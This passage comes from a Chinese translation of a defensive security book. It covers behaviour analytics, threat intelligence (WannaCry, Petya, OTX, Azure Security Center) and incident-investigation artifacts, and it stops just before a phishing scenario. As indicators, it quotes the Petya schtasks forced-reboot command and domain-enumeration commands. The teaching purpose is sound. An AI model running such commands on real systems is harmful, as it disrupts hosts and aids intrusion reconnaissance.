对于目前市场上绝大多数公司来说,核心业务仍然发生在本地环境中。这里是关键数据的存储位置,大多数用户的工作地点,以及关键资产的所在地。正如你所知,我们在本书的第一部分讨论了攻击策略;攻击者往往会悄悄渗透进你的本地网络,横向移动,提升权限,并与指挥控制保持连接,直到他能够执行他的任务。因此,在本地环境中实施行为分析对于迅速打破攻击链至关重要。

根据 Gartner 的说法,理解用户行为至关重要,通过跟踪合法的流程,组织可以利用用户和实体行为分析UEBA)来发现安全漏洞。使用 UEBA 来检测攻击有很多优势,其中最重要的一点是能够在攻击的早期阶段检测到并采取纠正措施来遏制攻击。

下图展示了UEBA如何在不同实体之间进行分析,以决定是否需要触发警报:

如果没有一个能够全面查看所有数据并进行关联的系统,不仅仅是基于流量模式,还基于用户的个人资料,误报的可能性会增加。如今,当你在一个以前从未去过的地方使用信用卡,且地理位置也不同于你常去的地方时,通常会发生这种情况。如果你的信用卡有监控保护,某人会打电话给你确认这笔交易;这是因为系统了解你的信用卡使用模式,知道你以前访问过哪些地方,在哪些位置进行了消费,甚至你通常的消费水平。当你偏离这些相互关联的模式时,系统会触发警报,采取的措施是打电话给你,核实这笔交易是否真的是你本人进行的。注意,在这个场景中,你是在早期阶段就快速采取了行动,因为信用卡公司会暂停这笔交易,直到得到你的验证。

当你在本地部署一个 UEBA 系统时,会发生类似的情况。该系统知道用户通常访问哪些服务器,通常访问哪些共享文件夹,通常使用什么操作系统来访问这些资源,以及用户的地理位置。下图展示了来自微软高级威胁分析ATA)的这类检测示例,ATA 利用行为分析来检测可疑行为:

注意,在这种情况下,信息非常明确,系统提示管理员在过去一个月内没有进行这些活动,并且与组织内其他帐户没有关联。这一警报不是可以忽视的,因为它是有情境的,这意味着它从不同的角度分析所收集的数据,建立关联,以决定是否应该触发警报。

在本地部署 UEBA 系统可以帮助蓝队更加主动,拥有更有力的数据以便准确反应。UEBA 系统由多个模块组成,其中一个模块是高级威胁检测,它用于寻找已知的漏洞和攻击模式。下图展示了微软 ATA 检测到“通行证票证攻击”(pass-the-ticket 攻击)的情况:

由于执行此攻击的方式有很多种,先进的威胁检测不能仅仅依赖于签名,它需要识别攻击模式和攻击者试图做的事情;这比使用基于签名的系统要强大得多。它还会监测来自正常用户的可疑行为,尤其是那些不应执行某些任务的用户,例如,如果普通用户试图针对本地域运行 NetSess.exe 工具,Microsoft ATA 会将其视为 SMB 会话枚举,而从攻击者的角度来看,这通常发生在侦察阶段。因此,会弹出警报,如下所示的截图所示:

攻击者不仅会利用漏洞,还会利用目标系统中的配置错误,如不良的协议实现和缺乏加固。因此,UEBA 系统还会检测缺乏安全配置的系统。

以下示例展示了 Microsoft Advanced Threat Analytics 检测到一个暴露账户凭证的服务,因为它使用了未加密的 LDAP:

设备部署

使用之前在 IDS 部分讨论过的相同原则,安装 UEBA 的位置将根据公司的需求和供应商的要求有所不同。在前一节中解释的 Microsoft ATA 示例要求您使用与域控制器(DC)的端口镜像。ATA 不会对网络带宽产生影响,因为它仅监听 DC 流量。其他解决方案可能需要不同的方法;因此,按照您为环境购买的解决方案进行规划非常重要。

混合云中的行为分析

当蓝队需要创建应对措施以保护混合环境时,团队需要扩展他们对当前威胁态势的视野,并进行评估,以验证与云的持续连接并检查对整体安全态势的影响。在混合云中,大多数公司将选择使用 IaaS 模型,尽管 IaaS 的采用在增长,但根据 Oracle 对 IaaS 采用的调查,安全性仍然是主要关注点。根据同一份报告,长期使用 IaaS 的用户表示该技术最终对安全产生了积极影响。实际上,它确实产生了积极影响,这也是蓝队应该集中精力提升整体检测能力的地方。目标是利用混合云能力来提升整体安全态势。第一步是与云服务提供商建立良好的合作伙伴关系,了解他们具备哪些安全能力,以及如何在混合环境中利用这些安全能力。这一点很重要,因为某些能力仅在云中可用,而在本地则不可用。

阅读文章云安全可以提升你的整体安全态势,更好地理解云计算在安全方面的一些好处。

你可以通过以下链接获取文章:go2l.ink/SecPosture

Azure 安全中心

我们之所以使用 Azure 安全中心来监控混合环境,是因为安全中心代理可以安装在本地计算机(Windows 或 Linux)、在 Azure 中运行的虚拟机或 AWS 中。这种灵活性对于蓝队至关重要,集中管理对蓝队也非常重要。安全中心利用安全智能和高级分析来更快地检测威胁并减少误报。在理想情况下,蓝队将使用一个统一的界面来可视化所有工作负载中的警报和可疑活动。核心拓扑结构看起来类似于下图所示:

当安全中心安装在这些计算机上时,它将收集Windows 事件追踪ETW)追踪、操作系统日志事件、正在运行的进程、计算机名称、IP 地址和登录用户。这些事件会被发送到 Azure,并存储在你的私有工作区存储中。安全中心将使用以下方法分析这些数据:

  • 威胁情报

  • 行为分析

  • 异常检测

一旦这些数据被评估,安全中心将根据优先级触发警报,并将其添加到仪表板中,如下图所示:

请注意,第一个警报有一个不同的图标,并且被称为“检测到安全事件”。之所以出现这种情况,是因为它被识别为两个或更多攻击属于针对特定资源的同一攻击活动。这意味着,不再需要蓝队成员手动筛选数据来查找事件之间的关联,安全中心会自动执行这一过程,并为您提供相关警报以供分析。当您点击此警报时,您将看到以下页面:

在本页面的底部,您可以看到所有三次攻击(按发生顺序)针对 VM1 的攻击以及由安全中心分配的严重性等级。关于使用行为分析来检测威胁的优势,有一个重要的观察结果,即第三个警报(查询多个域账户)。触发此警报的命令是一个简单的*net user <用户名> /domain*;然而,要判断这是可疑的,需要查看执行此命令的用户的正常行为,并将此信息与其他数据进行交叉参考,经过分析后在上下文中会被归类为可疑行为。正如您在这个示例中看到的,黑客正在利用内置的系统工具和本地命令行接口来执行攻击;因此,拥有一个命令行日志记录工具至关重要。

安全中心还将使用统计分析方法建立历史基线,并在符合潜在攻击向量的偏差发生时发出警报。这在许多场景中都很有用;一个典型的例子是偏离正常活动。例如,假设一台主机每天进行三次 RDP 连接,但某天尝试了 100 次连接。当出现这样的偏差时,必须触发警报以提醒您。

使用云服务的另一个重要方面是与其他厂商的内置集成。安全中心可以与许多其他解决方案集成,如 Barracuda、F5、Imperva 和 Fortinet 的Web 应用防火墙WAF),以及其他用于终端保护、漏洞评估和下一代防火墙的解决方案。下图显示了这种集成的示例。请注意,此警报是由 Deep Security Agent 生成的,既然它已与安全中心集成,它将与由安全中心检测到的其他事件一起显示在相同的仪表盘中:

请记住,安全中心并不是唯一一个监控系统并与其他厂商集成的解决方案;还有许多安全信息和事件管理SIEM)解决方案,如SplunkLogRhythm,也会执行类似的监控任务。

参考文献

  1. Snort 规则解释

    www.snort.org/rules_explanation

  2. IoC 简介 openioc.org/resources/An_Introduction_to_OpenIOC.pdf

  3. IoC 编辑器 www.fireeye.com/content/dam/fireeye-www/services/freeware/sdl-ioc-editor.zip

  4. DUQU 使用类似 STUXNET 的技术进行信息窃取

www.trendmicro.com/vinfo/us/threat-encyclopedia/web-attack/90/duqu-uses-stuxnetlike-techniques-to-conduct-information-theft

  1. 如何选择网络入侵预防系统(IPS)

www.icsalabs.com/sites/default/files/HowToSelectANetworkIPS.pdf

  1. 通过分析行为及早检测安全漏洞

www.gartner.com/smarterwithgartner/detect-security-breaches-early-by-analyzing-behavior/

  1. 高级威胁分析攻击模拟剧本

    docs.microsoft.com/en-us/enterprise-mobility-security/solutions/ata-attack-simulation-playbook

  2. 你和 IaaS - 向早期采用者学习成功经验

    www.oracle.com/assets/pulse-survey-mini-report-3764078.pdf

摘要

在本章节中,你了解了不同类型的检测机制以及使用它们来增强防御策略的优势。你学习了妥协的迹象以及如何查询当前的威胁。你还了解了 IDS,它是如何工作的,IDS 的不同类型,以及根据你的网络选择安装 IDS 的最佳位置。接下来,你学习了使用 IPS 的好处,规则基和基于异常的检测是如何工作的。没有好的行为分析,防御策略将不完整,在本节中,你学习了蓝队如何从这一能力中受益。微软 ATA 被用作此实施的本地示例,Azure 安全中心则作为行为分析的混合解决方案。

在下一章节中,我们将继续讨论防御策略;这次你将深入了解威胁情报,以及蓝队如何利用威胁情报来增强整体安全防御系统。

第十二章:威胁情报

到目前为止,你已经经历了提升防御模型的不同阶段。在上一章中,你学习了良好检测系统的重要性,现在是时候迈向下一阶段了。利用威胁情报更好地了解对手,获取有关当前威胁的洞察,是蓝队的一项宝贵工具。尽管威胁情报是一个相对较新的领域,但利用情报了解敌方运作方式是一个古老的概念。将情报引入网络安全领域是一个自然过渡,主要是因为现在威胁格局如此广泛,对手也各不相同,从国家支持的行为者到勒索受害者的网络犯罪分子。

本章将涉及以下主题:

  • 威胁情报简介

  • 威胁情报的开源工具

  • 微软威胁情报

  • 利用威胁情报调查可疑活动

威胁情报简介

在上一章中已经明确指出,拥有一个强大的检测系统对组织的安全态势至关重要。然而,如果能够减少误报和噪声,这个系统是可以得到改善的。你面临的主要挑战之一是,当你需要审查大量警报和日志时,你最终会随机地优先处理这些警报,有时甚至忽略未来的警报,因为你认为它们不值得审查。根据微软的依赖机器报告,一家大型组织平均每周需要查看 17,000 个恶意软件警报,组织发现安全漏洞平均需要 99 天。

警报分类通常发生在网络操作中心NOC)级别,分类的延迟可能会导致多米诺效应,因为如果在这一层级的分类失败,操作也会失败,此时,操作将由事件响应团队处理。

让我们退一步,思考一下网络空间外的威胁情报。

你认为国土安全部如何改善美国的边境安全威胁?

他们有情报与分析办公室I&A),该办公室利用情报增强边境安全。这通过推动不同机构之间的信息共享并为各级决策者提供预测性情报来实现。现在,用同样的思路来看待网络威胁情报,你就会明白它有多么有效和重要。这一洞察表明,通过更多了解对手、他们的动机以及他们使用的技术,你可以提升检测能力。将这些威胁情报应用于你收集的数据,可以带来更有意义的结果,揭示传统传感器无法探测到的行为。

需要特别提到的是,攻击者的档案将与他们的动机直接相关。以下是一些攻击者档案/动机的示例:

  • 网络犯罪分子:主要动机是获得经济利益

  • 黑客激进分子:该团体的动机范围较广——从表达政治偏好到仅仅为了某个特定事业的表达

  • 网络间谍/国家支持:尽管你可以没有国家支持的网络间谍行为(通常发生在私营部门),但越来越多的网络间谍案件正在发生,因为它们是更大规模国家支持活动的一部分

现在的问题是:哪种攻击档案最有可能成为你组织的目标?这取决于。如果你的组织支持某个特定的政党,而该政党正在做一些黑客激进分子完全反对的事情,那么你可能会成为攻击目标。如果你确定自己是目标,接下来的问题是:我有哪些资产最有可能被该团体所需要?这同样取决。如果你是一个金融集团,网络犯罪分子将是你的主要威胁,他们通常想要信用卡信息、财务数据等。

使用威胁情报作为防御系统的一部分的另一个优势是能够根据对手的情况进行数据范围限定。例如,如果你负责金融机构的防御,你需要获取来自那些正在积极攻击该行业的对手的威胁情报。如果你开始接收关于教育机构遭受攻击的警报,那就没有什么太大的帮助。了解你要保护的资产类型也有助于缩小你需要更为关注的威胁行为者范围,而威胁情报正好能提供这些信息。

让我们以 WannaCry 勒索病毒为例。该病毒的爆发发生在 2017 年 5 月 12 日星期五。当时,唯一可用的妥协指标IoCs)是勒索病毒样本的哈希值和文件名。然而,即使在 WannaCry 出现之前,EternalBlue 漏洞已经被发现,正如你所知道的,WannaCry 利用了 EternalBlue 漏洞。EternalBlue 利用了微软实现的服务器消息块SMB)协议 v1(CVE-2017-0143)。微软在 2017 年 3 月 14 日发布了该漏洞的补丁(几乎是在 WannaCry 爆发前的两个月)。你跟得上吗?好了,让我们在下面的图表中对其进行情境化说明:

请注意,威胁情报是指在早期阶段就获取相关威胁的信息,甚至在“永恒之蓝”漏洞(最初由 NSA 发现)被黑客组织The Shadow BrokersTSB)于 2017 年 4 月泄露到网上时,便可以得到相关情报。这个组织并非新手,这意味着他们过去的工作和动机也有相关情报。考虑到这一点,你可以预测对手的下一步行动。通过掌握这些信息,并了解永恒之蓝的工作原理,现在只是等待厂商(在此情况下为微软)发布补丁的时间问题,这发生在 2017 年 3 月。到此时,蓝队已经有足够的信息来判断该补丁对他们试图保护的业务的关键性。

许多组织未能充分意识到这一问题的影响,而是选择禁用互联网的 SMB 访问,而不是进行补丁修复。虽然这是一种可接受的解决方法,但并没有解决问题的根本原因。因此,2017 年 6 月又发生了一次勒索病毒爆发——这次是 Petya 勒索病毒。该勒索病毒利用永恒之蓝进行横向传播。换句话说,一旦它突破了内部网络中的一台计算机(见,防火墙规则已不再重要),它就会利用其他没有安装 MS17-010 补丁的系统。正如你所看到的,这里有一定的可预测性,因为 Petya 的部分操作是在使用与之前勒索病毒类似的漏洞后成功实施的。

对这一切的结论很简单:通过了解你的对手,你可以做出更好的决策来保护你的资产。话虽如此,公平地说,你不能把威胁情报当作一个 IT 安全工具来看待——它远不止于此。你必须把威胁情报当作一个帮助做出组织防御决策的工具,帮助管理者决定如何投资安全,并帮助 CISO 与高层管理人员理顺局势。你从威胁情报中获得的信息可以应用于不同的领域,例如:

总结来说,正确使用威胁情报将直接影响整个组织。

开源威胁情报工具

如前所述,DHS 与情报界合作,增强其自身情报能力,这在该领域几乎是标准做法。协作和信息共享是情报界的基础。市面上有许多开源威胁情报工具可供使用。部分是商业工具(付费),部分是免费的。你可以通过消费 TI 信息流来开始使用威胁情报。OPSWAT Metadefender Cloud 的 TI 信息流有多种选择,从免费到付费版本不等,且可以通过四种不同格式进行交付:JSON、CSV、RSS 和 Bro。

欲了解更多关于 Metadefender Cloud TI 数据源的信息,请访问:www.metadefender.com/threat-intelligence-feeds

另一种快速验证选项是网站fraudguard.io。你可以通过该网站进行快速的 IP 验证,从该位置获取威胁情报。在以下示例中,使用了 IP 220.227.71.226 进行测试(测试结果与测试当天相关,即 2017 年 10 月 27 日),结果显示了以下字段:

{ 
    "isocode": "IN", 
    "country": "India", 
    "state": "Maharashtra", 
    "city": "Mumbai", 
    "discover_date": "2017-10-27 09:32:45", 
    "threat": "honeypot_tracker", 
    "risk_level": "5" 
} 

查询的完整截图如下所示:

虽然这只是一个简单的示例,但根据你所使用的服务级别,实际上有更多功能可用。它在免费版本和付费版本中也有所不同。你还可以通过使用 Critical Stack Intel Feed(intel.criticalstack.com/)将威胁情报数据源集成到你的 Linux 系统中,该工具与 The Bro Network Security Monitor(www.bro.org/)集成。Palo Alto Networks 还提供一个免费的解决方案——MineMeld(live.paloaltonetworks.com/t5/MineMeld/ct-p/MineMeld),可用于获取威胁情报。

访问此 GitHub 页面,查看包括免费威胁情报在内的免费工具列表:github.com/hslatman/awesome-threat-intelligence

在事件响应团队不确定某个特定文件是否恶意的情况下,你也可以将其提交至malwr.com进行分析。他们提供了大量有关 IoC 和样本的详细信息,这些信息可用于检测新威胁。

正如你所见,虽然有许多免费的资源,但也有一些付费的开源解决方案,例如 AlienVault USM Anywhere(www.alienvault.com/products/usm-anywhere)。公平地说,这个解决方案远不止是一个威胁情报来源。它可以进行漏洞评估、检查网络流量,并寻找已知威胁、政策违规和可疑活动。

在 AlienVault USM Anywhere 的初始配置中,你可以配置威胁情报交换OTX)。请注意,你需要一个帐户以及一个有效的密钥,如下所示:

配置完成后,USM 将持续监控你的环境,当出现问题时,它会触发警报。你可以查看警报状态,最重要的是,可以看到此次攻击使用的策略和方法,如下所示:

你可以深入查看警报,了解更多有关该问题的细节;这时你将看到更多关于用于触发该警报的威胁情报的详细信息。以下图像展示了这个警报的一个示例;然而,出于隐私考虑,IP 地址被隐藏:

从这个列表中,你可以获得一些非常重要的信息——攻击源、攻击目标、恶意软件家族以及描述,它们为你提供了关于攻击的详细信息。如果你需要将这些信息传递给事件响应团队以采取行动,你还可以点击“推荐”选项卡查看接下来应该采取的措施。尽管这是一个通用的建议,你仍然可以利用它来改进自己的响应。

随时,你还可以访问 OTX Pulse,网址为 otx.alienvault.com/pulse,在那里你可以看到来自最新威胁的 TI 信息,以下是一个示例:

该仪表盘为你提供了大量的威胁情报信息,虽然前面的示例显示了来自 AlienVault 的条目,但社区也有贡献。在撰写本文时,正值 BadRabbit 病毒爆发,我尝试使用这个仪表盘的搜索功能查找有关 BadRabbit 的更多信息,结果收获了大量的相关信息。

这里是一个可以增强你防御系统的有用数据示例:

微软威胁情报

对于使用微软产品的组织,无论是在本地还是在云中,微软将威胁情报作为产品的一部分。这是因为如今许多微软产品和服务都利用共享威胁情报,通过这些情报,它们能够提供上下文、相关性和优先级管理,帮助用户采取行动。微软通过不同的渠道消费威胁情报,例如:

  • 微软威胁情报中心,该中心汇总了以下数据:

    • 嗯蜜罐、恶意 IP 地址、僵尸网络和恶意软件引爆数据流

    • 第三方来源(威胁情报数据流)

    • 基于人工观察和情报收集

  • 来自其服务使用的数据的情报

  • 微软和第三方生成的情报数据流

微软将这些威胁情报的结果集成到其产品中,例如 Windows Defender 高级威胁防护、Azure 安全中心、Office 365 威胁情报、云应用安全等。

访问 aka.ms/MSTI 获取更多关于微软如何利用威胁情报来保护、检测和响应威胁的信息。

Azure 安全中心

在上一章中,我们使用了安全中心通过行为分析来识别可疑活动。虽然这对于基于云的虚拟机和本地服务器是一个非常好的功能,但你也可以利用威胁情报更好地了解你的环境是否曾经被攻陷,或者仍然处于被攻陷状态。在安全中心仪表板中,左侧导航菜单有一个选项叫做“威胁情报”。点击它后,你需要选择包含你数据的工作区,做出选择后,你将能够看到 TI 仪表板。

为了这个示例,你看到的 TI 仪表板是一个完全被攻陷的演示环境,这也是为什么会有如此多警报的原因:

在这个仪表板中,你可以看到威胁的类型汇总。在这个例子中,所有的威胁都是僵尸网络。你还可以看到威胁的来源国(威胁来自哪个国家),以及显示威胁地理位置的地图。这个仪表板的一个很酷的地方是,你可以继续深入挖掘数据——换句话说,如果你点击其中一个国家,它会打开一个搜索结果,展示所有因来自该国家的威胁而被攻陷的系统。在这个例子中,接下来的图片是一个搜索结果,显示所有被攻陷的系统。攻击者来自乌克兰,原始搜索结果是:

let schemaColumns = datatable(RemoteIPCountry:string)[];          
union isfuzzy= true schemaColumns, W3CIISLog, DnsEvents, WireData, 
WindowsFirewall, CommonSecurityLog          | where 
isnotempty(MaliciousIP) and (isnotempty(MaliciousIPCountry) or 
isnotempty(RemoteIPCountry))| extend Country = 
iff(isnotempty(MaliciousIPCountry), MaliciousIPCountry, 
iff(isnotempty(RemoteIPCountry), RemoteIPCountry, ''))                      
| where Country == "Ukraine" 

结果如下:

你收到的初始数据包含一些有趣的信息,包括被攻陷系统的本地 IP 地址、使用的协议、流量方向以及恶意 IP。然而,最精彩的部分出现在点击“显示更多”时。

在这里,你将看到哪些文件被攻陷,哪些应用程序被使用:

...IndicatorThreatType:Botnet  
...Confidence:75  
...FirstReportedDateTime:2017-10-27T11:40:44.0000000Z  
...LastReportedDateTime:2017-10-27T16:27:01.2410977Z  
...IsActive:true  
...RemoteIPLongitude:27.82  
...RemoteIPLatitude:48.44  
...SessionStartTime:10/27/2017 12:29:30.000 PM  
...SessionEndTime:10/27/2017 12:29:45.000 PM  
...LocalSubnet:10.0.0.0/24  
...LocalPortNumber:3389  
...RemotePortNumber:0  
...SentBytes:1591  
...TotalBytes:2755  
...ApplicationProtocol:RDP  
...ProcessID:3052  
...ProcessName:C:WindowsSystem32svchost.exe  

在这个例子中,svchost.exe进程似乎是被攻击者攻陷的进程。此时,你需要做的就是前往目标系统,开始调查。

利用威胁情报调查可疑活动

到此为止,已经没有任何疑问,使用威胁情报来帮助你的检测系统是至关重要的。那么,在应对安全事件时,如何利用这些信息呢?虽然蓝队主要负责防御系统,但他们会与事件响应团队协作,提供可以帮助他们找到问题根源的正确数据。如果我们使用来自安全中心的前一个示例,我们可以直接将搜索结果交给他们,这样就足够了。但仅仅知道被攻陷的系统并不是事件响应的唯一目标。

在调查结束时,你必须至少回答以下问题:

    • 哪些系统被攻陷了?

    • 攻击从哪里开始?

    • 哪个用户账户被用来发起攻击?

    • 它是否横向移动?

      • 如果是,它涉及了哪些系统?
    • 它是否升级了特权?

      • 如果是这样,哪个特权账户被妥协了?
    • 它是否尝试与指挥与控制进行通信?

    • 如果是这样,是否成功?

      • 如果是这样,它是否从那里下载了任何东西?

      • 如果是这样,它是否有向那里发送任何内容?

    • 它是否尝试清除证据?

      • 如果是这样,是否成功?

这些是你在调查结束时必须回答的一些关键问题,这将帮助你真正结束案件,并确保威胁已完全被遏制并从环境中移除。

你可以使用安全中心的调查功能来回答大部分这些问题。该功能使调查人员能够查看攻击路径、涉及的用户帐户、被妥协的系统以及已执行的恶意活动。在前一章中,你了解了安全中心中的安全事件功能,它会聚合属于同一攻击活动的警报。从该界面,你可以点击“开始调查”以访问调查仪表板,如下所示:

调查地图包含所有与此事件相关的实体(警报、计算机和用户)。当你首次打开仪表板时,地图的重点是安全事件本身;然而,你可以点击任何实体,地图会根据你刚选择的对象展开,显示相关信息。仪表板的第二部分会提供更多关于所选实体的详细信息,包括:

  • 检测时间线

  • 被妥协的主机

  • 事件的详细描述

  • 修复步骤

  • 事件阶段

在以下示例中,安全事件在调查地图上被选中,这就是该实体的可用信息:

该窗格的内容会根据左侧的实体选择(调查地图)而有所不同。请注意,对于事件本身,有些选项是灰色的,这意味着这些选项对于此特定实体不可用,这是预期的。

观看本书的作者之一,Yuri Diogenes,在 2017 年奥兰多的 Ignite 大会上演示此功能的工作原理,视频链接:blogs.technet.microsoft.com/yuridiogenes/2017/09/30/ignite-2017-azure-security-center-domination/

参考资料

  1. Microsoft Lean on the Machine 报告 download.microsoft.com/download/3/4/0/3409C40C-2E1C-4A55-BD5B-51F5E1164E20/Microsoft_Lean_on_the_Machine_EN_US.pdf

  2. Wanna Decryptor (WNCRY) 勒索软件解释 blog.rapid7.com/2017/05/12/wanna-decryptor-wncry-ransomware-explained/

  3. WannaCry 勒索软件的技术分析 logrhythm.com/blog/a-technical-analysis-of-wannacry-ransomware/

  4. 新型勒索软件,老套路:Petya 添加蠕虫功能 blogs.technet.microsoft.com/mmpc/2017/06/27/new-ransomware-old-techniques-petya-adds-worm-capabilities/

  5. DUQU 使用类似 STUXNET 的技术进行信息窃取 www.trendmicro.com/vinfo/us/threat-encyclopedia/web-attack/90/duqu-uses-stuxnetlike-techniques-to-conduct-information-theft

  6. 开源威胁情报 www.sans.org/summit-archives/file/summit-archive-1493741141.pdf

摘要

在本章中,您了解到威胁情报的重要性,以及如何利用它来获取有关当前威胁行为者及其技术的更多信息,并且在某些情况下预测他们的下一步行动。您了解了如何利用来自开源社区的威胁情报,基于一些免费工具以及商业工具。接下来,您了解了微软如何将威胁情报整合到其产品和服务中,以及如何使用安全中心不仅消费威胁情报,还根据获得的威胁情报与您自己的数据进行比较,可视化您环境中潜在受损的特性。最后,您了解了安全中心中的调查功能以及安全事件响应团队如何使用该功能找出安全问题的根本原因。

在接下来的章节中,我们将继续讨论防御策略,但这次我们将专注于响应,这是我们在本章开始的延续。您将进一步了解关于调查的内容,包括本地和云端的。

第十三章:调查事件

在上一章中,你学习了利用威胁情报帮助蓝队增强组织防御的重要性,并更好地了解对手。在本章中,你将学习如何将所有这些工具结合起来进行调查。除了工具之外,你还将学习如何处理一个事件,提出正确的问题,并缩小问题的范围。为说明这一点,将提供两个场景,其中一个是在本地组织中,另一个是在混合环境中。每个场景都有其独特的特征和挑战。

本章将讨论以下主题:

  • 确定问题范围

  • 本地被攻击的系统

  • 基于云的被攻击的系统

  • 结论和经验教训

确定问题范围

直面现实,并非所有的事件都与安全相关,因此,在开始调查之前,确定问题范围至关重要。有时,症状可能会让你最初认为自己正处理一个安全问题,但当你提出更多问题并收集更多数据时,你可能会意识到问题实际上与安全无关。

因此,案件的初步筛查在调查成功中起着重要作用。如果你没有确凿的证据表明你正在处理一个安全问题,而只是最终用户开设了一个事件,称他的计算机运行缓慢,他认为它被攻破了,那么你应该从基础的性能故障排除开始,而不是派遣安全响应者启动调查。因此,IT、运营和安全必须完全对齐,以避免误发警报,从而导致使用安全资源来执行支持任务。

在初步筛查过程中,确定问题的频率也非常重要。如果问题当前没有发生,你可能需要配置环境,以便在用户能够重现问题时收集数据。确保记录所有步骤,并为最终用户提供准确的行动计划。这次调查的成功将取决于收集到的数据的质量。

关键文物

如今,数据如此丰富,数据收集应该集中于从目标系统中获取至关重要和相关的文物。更多的数据不一定意味着更好的调查,主要是因为在某些情况下你仍然需要进行数据关联,过多的数据可能会让你偏离问题的根本原因。

在处理全球性组织的调查时,特别是当设备分布在全球不同地区时,确保了解你正在调查的系统的时区非常重要。在 Windows 系统中,此信息位于注册表键 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TimeZoneInformation 中。你可以使用 PowerShell 命令 Get-ItemProperty 从系统中检索此信息,如下所示:

注意 TimeZoneKeyName 的值,它被设置为 Central Standard Time。当你开始分析日志并进行数据关联时,这些数据将非常有用。另一个重要的注册表键,用于获取网络信息的是 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Signatures\Unmanaged and Managed。这些键会显示该计算机已连接的网络。以下是 unmanaged 键的结果:

这两个工件对于确定机器的位置(时区)以及该机器访问的网络非常重要。对于员工在办公室外使用的设备,如笔记本电脑和平板电脑,这一点尤其重要。根据你正在调查的问题,验证这台机器的 USB 使用情况也非常关键。为此,导出注册表键 HKLM\SYSTEM\CurrentControlSet\Enum\USBSTORHKLM\SYSTEM\CurrentControlSet\Enum\USB。以下是该键的示例:

要确定是否有恶意软件配置为在 Windows 启动时启动,请检查注册表键 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run。通常,当恶意程序出现在该位置时,它还会创建一个服务;因此,查看注册表键 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services 也很重要。查找随机命名的服务和与计算机配置文件模式不符的条目。获取这些服务的另一种方式是运行 msinfo32 工具:

除此之外,还要确保捕获所有安全事件,并在分析时特别关注以下事件:

事件 ID 描述 安全场景
1102 审计日志已被清除 当攻击者渗透到你的环境中时,他们可能会清除证据,清理事件日志就是这种行为的一个表现。请确保查看是谁清除了日志,这个操作是否是故意的和授权的,还是无意的或未知的(由于账户被攻击)。
4624 成功登录了一个账户 通常只会记录失败的登录事件,但在许多情况下,了解谁成功登录对于理解谁执行了哪些操作是非常重要的。
4625 帐户登录失败 多次尝试访问帐户可能是暴力破解帐户攻击的迹象。审查此日志可以为您提供一些指示。
4657 已修改注册表值 不是每个人都应该能够更改注册表键,即使您有高特权执行此操作,仍然需要进一步调查以了解此更改的真实性。
4663 尝试访问对象 尽管此事件可能会产生许多误报,但仍然值得根据需要收集和查看。换句话说,如果您有其他证据表明对文件系统的未经授权访问,您可以使用此日志来详细了解执行此更改的人员。
4688 已创建新进程 当 Petya 勒索软件爆发时,妥协指标之一是cmd.exe /c schtasks /RU "SYSTEM" /Create /SC once /TN "" /TR "C:Windowssystem32shutdown.exe /r /f" /ST <time>。当执行cmd.exe命令时,将创建一个新进程,并且还将创建一个事件 4688。在调查与安全相关的问题时,获取有关此事件的详细信息至关重要。
4700 已启用计划任务 多年来,攻击者一直在使用计划任务执行操作。使用与上述示例(Petya)相同的示例,事件 4700 可以为您提供有关计划任务的更多详细信息。
4702 已更新计划任务 如果看到不通常执行此类操作的用户的用户看到 4700,并且您继续看到 4702 以更新此任务,则应进一步调查。请记住,这可能是误报,但这一切取决于谁进行了此更改以及执行此类操作的用户配置文件。
4719 系统审计策略已更改 就像此列表的第一个事件一样,在某些情况下,已经入侵了管理级别帐户的攻击者可能需要更改系统策略以继续其渗透和横向移动。确保审查此事件并跟进所做更改的真实性。
4720 用户帐户已创建 在组织中,只有特定用户应该有特权创建帐户。如果看到普通用户创建帐户,很可能是他的凭据被泄露,攻击者已经升级特权以执行此操作。
4722 用户帐户已启用 作为攻击活动的一部分,攻击者可能需要启用先前已禁用的帐户。如果看到此事件,请确保审查此操作的合法性。
4724 尝试重置帐户密码 系统渗透和横向移动期间的另一个常见操作。如果找到此事件,请确保审查此操作的合法性。
4727 已创建一个启用安全的全局组 再次强调,只有特定用户应该具有创建启用安全组的特权。如果看到普通用户创建新组,很可能是他的凭据被盗用,攻击者已经提升了权限以执行此操作。如果发现此事件,请务必审查此操作的合法性。
4732 成员已添加到启用安全的本地组 提升权限有许多方法,有时候一种捷径是将自己添加为更高权限组的成员。攻击者可能使用这种技术来获取对资源的特权访问。如果发现此事件,请务必审查此操作的合法性。
4739 域策略已更改 在许多情况下,攻击者任务的主要目标是域控制,此事件可能会揭示这一点。如果未经授权的用户正在进行域策略更改,这意味着威胁已经到达域级别的层次结构。如果发现此事件,请务必审查此操作的合法性。
4740 用户帐户已被锁定 当进行多次登录尝试时,将达到帐户锁定阈值,并且帐户将被锁定。这可能是合法的登录尝试,也可能是暴力攻击的迹象。在审查此事件时,请务必考虑这些事实。
4825 用户被拒绝访问远程桌面。默认情况下,只有属于远程桌面用户组或管理员组的用户才允许连接 这是一个非常重要的事件,特别是如果您的计算机的 RDP 端口对互联网开放,比如位于云中的虚拟机。这可能是合法的,但也可能表明未经授权的尝试通过 RDP 连接访问计算机。
4946 Windows 防火墙例外列表已更改。已添加一条规则。 当计算机受到威胁,并且系统中投放了恶意软件时,通常情况下,此恶意软件在执行时会尝试建立与命令和控制的访问。一些攻击者会尝试更改 Windows 防火墙例外列表以允许此通信发生。
4948 Windows 防火墙例外列表已更改。已删除一条规则。 这与上述描述的情景类似;不同之处在于,在这种情况下,攻击者决定删除一条规则,而不是创建新规则。这也可能是为了掩盖他之前的行动。例如,他可以创建规则以允许外部通信,一旦此操作完成,就删除规则以清除入侵证据。

重要的是要提到,某些事件只有在本地计算机的安全策略正确配置时才会出现。例如,因为未为“对象访问”启用审计,所以下面的系统中不会出现事件 4663:

除此之外,在进行现场调查时,还要确保使用 Wireshark 收集网络跟踪,并在必要时使用 Sysinternals 的 procdump 工具,以创建被入侵进程的转储。

在本地调查一个被入侵的系统

对于第一个场景,我们将使用一台在最终用户打开了类似以下内容的钓鱼邮件后被入侵的机器:

